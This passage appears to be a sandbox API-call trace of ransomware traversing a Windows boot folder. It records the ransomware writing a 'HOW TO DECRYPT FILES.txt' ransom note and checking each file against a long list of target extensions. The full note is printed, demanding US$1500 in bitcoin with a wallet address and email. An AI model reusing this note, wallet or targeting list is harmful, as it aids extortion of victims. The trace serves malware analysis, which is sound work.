pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\") returned="" [0125.065] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" [0125.065] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\how to decrypt files.txt")) returned 0xffffffff [0125.065] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.066] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.066] CloseHandle (hObject=0xffffffff) returned 0 [0125.067] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui" [0125.067] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.067] lstrlenA (lpString="*.ems") returned 5 [0125.067] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.db") returned 0 [0125.067] lstrlenA (lpString="*.db") returned 4 [0125.067] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.dbf") returned 0 [0125.067] lstrlenA (lpString="*.dbf") returned 5 [0125.067] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.myox") returned 0 [0125.067] lstrlenA (lpString="*.myox") returned 6 [0125.067] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.myo") returned 0 [0125.067] lstrlenA (lpString="*.myo") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbw") returned 0 [0125.079] lstrlenA (lpString="*.qbw") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbb") returned 0 [0125.079] lstrlenA (lpString="*.qbb") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbm") returned 0 [0125.079] lstrlenA (lpString="*.qbm") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbo") returned 0 [0125.079] lstrlenA (lpString="*.qbo") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbx") returned 0 [0125.079] lstrlenA (lpString="*.qbx") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qba") returned 0 [0125.079] lstrlenA (lpString="*.qba") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qby") returned 0 [0125.079] lstrlenA (lpString="*.qby") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qbj") returned 0 [0125.079] lstrlenA (lpString="*.qbj") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.ofx") returned 0 [0125.079] lstrlenA (lpString="*.ofx") returned 5 [0125.079] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.qif") returned 0 [0125.080] lstrlenA (lpString="*.qif") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mye") returned 0 [0125.080] lstrlenA (lpString="*.mye") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mbox") returned 0 [0125.080] lstrlenA (lpString="*.mbox") returned 6 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.080] lstrlenA (lpString="*.eml") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.pst") returned 0 [0125.080] lstrlenA (lpString="*.pst") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.ost") returned 0 [0125.080] lstrlenA (lpString="*.ost") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.idx") returned 0 [0125.080] lstrlenA (lpString="*.idx") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.dbx") returned 0 [0125.080] lstrlenA (lpString="*.dbx") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.sql") returned 0 [0125.080] lstrlenA (lpString="*.sql") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mdb") returned 0 [0125.080] lstrlenA (lpString="*.mdb") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.fdb") returned 0 [0125.080] lstrlenA (lpString="*.fdb") returned 5 [0125.080] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.wab") returned 0 [0125.081] lstrlenA (lpString="*.wab") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.dat") returned 0 [0125.081] lstrlenA (lpString="*.dat") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.txt") returned 0 [0125.081] lstrlenA (lpString="*.txt") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.jpeg") returned 0 [0125.081] lstrlenA (lpString="*.jpeg") returned 6 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.jpg") returned 0 [0125.081] lstrlenA (lpString="*.jpg") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.png") returned 0 [0125.081] lstrlenA (lpString="*.png") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.php") returned 0 [0125.081] lstrlenA (lpString="*.php") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.cs") returned 0 [0125.081] lstrlenA (lpString="*.cs") returned 4 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.cpp") returned 0 [0125.081] lstrlenA (lpString="*.cpp") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.rar") returned 0 [0125.081] lstrlenA (lpString="*.rar") returned 5 [0125.081] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.zip") returned 0 [0125.082] lstrlenA (lpString="*.zip") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.html") returned 0 [0125.082] lstrlenA (lpString="*.html") returned 6 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.htm") returned 0 [0125.082] lstrlenA (lpString="*.htm") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.xlsx") returned 0 [0125.082] lstrlenA (lpString="*.xlsx") returned 6 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.xls") returned 0 [0125.082] lstrlenA (lpString="*.xls") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mp4") returned 0 [0125.082] lstrlenA (lpString="*.mp4") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.ppt") returned 0 [0125.082] lstrlenA (lpString="*.ppt") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.pptx") returned 0 [0125.082] lstrlenA (lpString="*.pptx") returned 6 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.doc") returned 0 [0125.082] lstrlenA (lpString="*.doc") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.dot") returned 0 [0125.082] lstrlenA (lpString="*.dot") returned 5 [0125.082] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.docx") returned 0 [0125.083] lstrlenA (lpString="*.docx") returned 6 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.7z") returned 0 [0125.083] lstrlenA (lpString="*.7z") returned 4 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.tar") returned 0 [0125.083] lstrlenA (lpString="*.tar") returned 5 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.bz2") returned 0 [0125.083] lstrlenA (lpString="*.bz2") returned 5 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.gz") returned 0 [0125.083] lstrlenA (lpString="*.gz") returned 4 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mkv") returned 0 [0125.083] lstrlenA (lpString="*.mkv") returned 5 [0125.083] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.084] lstrlenA (lpString="*.eml") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.msg") returned 0 [0125.084] lstrlenA (lpString="*.msg") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.edb") returned 0 [0125.084] lstrlenA (lpString="*.edb") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.accdb") returned 0 [0125.084] lstrlenA (lpString="*.accdb") returned 7 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.odb") returned 0 [0125.084] lstrlenA (lpString="*.odb") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.java") returned 0 [0125.084] lstrlenA (lpString="*.java") returned 6 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.asm") returned 0 [0125.084] lstrlenA (lpString="*.asm") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.pfx") returned 0 [0125.084] lstrlenA (lpString="*.pfx") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.pem") returned 0 [0125.084] lstrlenA (lpString="*.pem") returned 5 [0125.084] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.p12") returned 0 [0125.085] lstrlenA (lpString="*.p12") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.gpg") returned 0 [0125.085] lstrlenA (lpString="*.gpg") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.vsd") returned 0 [0125.085] lstrlenA (lpString="*.vsd") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.odg") returned 0 [0125.085] lstrlenA (lpString="*.odg") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.raw") returned 0 [0125.085] lstrlenA (lpString="*.raw") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.nef") returned 0 [0125.085] lstrlenA (lpString="*.nef") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.svg") returned 0 [0125.085] lstrlenA (lpString="*.svg") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.psd") returned 0 [0125.085] lstrlenA (lpString="*.psd") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.vmx") returned 0 [0125.085] lstrlenA (lpString="*.vmx") returned 5 [0125.085] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.vmdk") returned 0 [0125.085] lstrlenA (lpString="*.vmdk") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.vdi") returned 0 [0125.086] lstrlenA (lpString="*.vdi") returned 5 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.lay6") returned 0 [0125.086] lstrlenA (lpString="*.lay6") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mpeg") returned 0 [0125.086] lstrlenA (lpString="*.mpeg") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.djvu") returned 0 [0125.086] lstrlenA (lpString="*.djvu") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.tiff") returned 0 [0125.086] lstrlenA (lpString="*.tiff") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.backup") returned 0 [0125.086] lstrlenA (lpString="*.backup") returned 8 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.pdf") returned 0 [0125.086] lstrlenA (lpString="*.pdf") returned 5 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.cert") returned 0 [0125.086] lstrlenA (lpString="*.cert") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.docm") returned 0 [0125.086] lstrlenA (lpString="*.docm") returned 6 [0125.086] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.xlsm") returned 0 [0125.086] lstrlenA (lpString="*.xlsm") returned 6 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.dwg") returned 0 [0125.087] lstrlenA (lpString="*.dwg") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.nd") returned 0 [0125.087] lstrlenA (lpString="*.nd") returned 4 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.tlg") returned 0 [0125.087] lstrlenA (lpString="*.tlg") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.lgb") returned 0 [0125.087] lstrlenA (lpString="*.lgb") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mov") returned 0 [0125.087] lstrlenA (lpString="*.mov") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.xdw") returned 0 [0125.087] lstrlenA (lpString="*.xdw") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.ods") returned 0 [0125.087] lstrlenA (lpString="*.ods") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.wav") returned 0 [0125.087] lstrlenA (lpString="*.wav") returned 5 [0125.087] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.mp3") returned 0 [0125.087] lstrlenA (lpString="*.mp3") returned 5 [0125.088] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.aiff") returned 0 [0125.088] lstrlenA (lpString="*.aiff") returned 6 [0125.088] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.flac") returned 0 [0125.088] lstrlenA (lpString="*.flac") returned 6 [0125.088] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.m4a") returned 0 [0125.088] lstrlenA (lpString="*.m4a") returned 5 [0125.088] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui", pszSpec="*.csv") returned 0 [0125.088] lstrlenA (lpString="*.csv") returned 5 [0125.088] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadebcea, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb4e9cfd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb50fe5a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.088] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.088] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.088] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.088] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.088] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\nl-NL\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\" [0125.088] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\") returned="" [0125.088] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" [0125.088] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\how to decrypt files.txt")) returned 0xffffffff [0125.089] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.089] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.090] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.090] CloseHandle (hObject=0xffffffff) returned 0 [0125.090] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui" [0125.090] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.091] lstrlenA (lpString="*.ems") returned 5 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.db") returned 0 [0125.091] lstrlenA (lpString="*.db") returned 4 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.dbf") returned 0 [0125.091] lstrlenA (lpString="*.dbf") returned 5 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.myox") returned 0 [0125.091] lstrlenA (lpString="*.myox") returned 6 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.myo") returned 0 [0125.091] lstrlenA (lpString="*.myo") returned 5 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbw") returned 0 [0125.091] lstrlenA (lpString="*.qbw") returned 5 [0125.091] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbb") returned 0 [0125.091] lstrlenA (lpString="*.qbb") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbm") returned 0 [0125.092] lstrlenA (lpString="*.qbm") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbo") returned 0 [0125.092] lstrlenA (lpString="*.qbo") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbx") returned 0 [0125.092] lstrlenA (lpString="*.qbx") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qba") returned 0 [0125.092] lstrlenA (lpString="*.qba") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qby") returned 0 [0125.092] lstrlenA (lpString="*.qby") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qbj") returned 0 [0125.092] lstrlenA (lpString="*.qbj") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.ofx") returned 0 [0125.092] lstrlenA (lpString="*.ofx") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.qif") returned 0 [0125.092] lstrlenA (lpString="*.qif") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.mye") returned 0 [0125.092] lstrlenA (lpString="*.mye") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.mbox") returned 0 [0125.092] lstrlenA (lpString="*.mbox") returned 6 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.eml") returned 0 [0125.092] lstrlenA (lpString="*.eml") returned 5 [0125.092] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.pst") returned 0 [0125.093] lstrlenA (lpString="*.pst") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.ost") returned 0 [0125.093] lstrlenA (lpString="*.ost") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.idx") returned 0 [0125.093] lstrlenA (lpString="*.idx") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.dbx") returned 0 [0125.093] lstrlenA (lpString="*.dbx") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.sql") returned 0 [0125.093] lstrlenA (lpString="*.sql") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", 